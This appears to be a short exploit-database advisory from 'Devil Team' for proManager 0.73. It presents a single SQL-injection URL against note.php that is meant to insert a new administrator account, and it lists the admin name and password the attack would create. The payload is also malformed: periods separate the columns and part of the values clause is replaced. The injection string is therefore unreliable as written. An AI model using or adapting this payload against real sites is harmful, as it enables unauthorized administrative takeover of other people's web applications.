proManager073.txt

`/*  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- - - [DEVIL TEAM THE BEST POLISH TEAM] - -  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- proManager <= 0.73 (Add Admin) SQL Injection Vulnerabilities  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- [Script name: proManager v.0.73  
- [Script site: http://sourceforge.net/projects/promanager/  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- Find by: Kacper (a.k.a Rahim)  
+  
- Contact: [email protected]  
- or  
- http://www.rahim.webd.pl/  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- Special Greetz: DragonHeart ;-)  
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx  
-  
!@ Przyjazni nie da sie zamienic na marne korzysci @!  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
+  
- Z Dedykacja dla osoby,  
- bez ktorej nie mogl bym zyc...  
- K.C:* J.M (a.k.a Magaja)  
+  
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
*/  
#Exploit:  
  
http://www.site.com/[proManager_path]/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20([email protected])/*  
  
Admin name: Kacper  
Password: devilteam  
`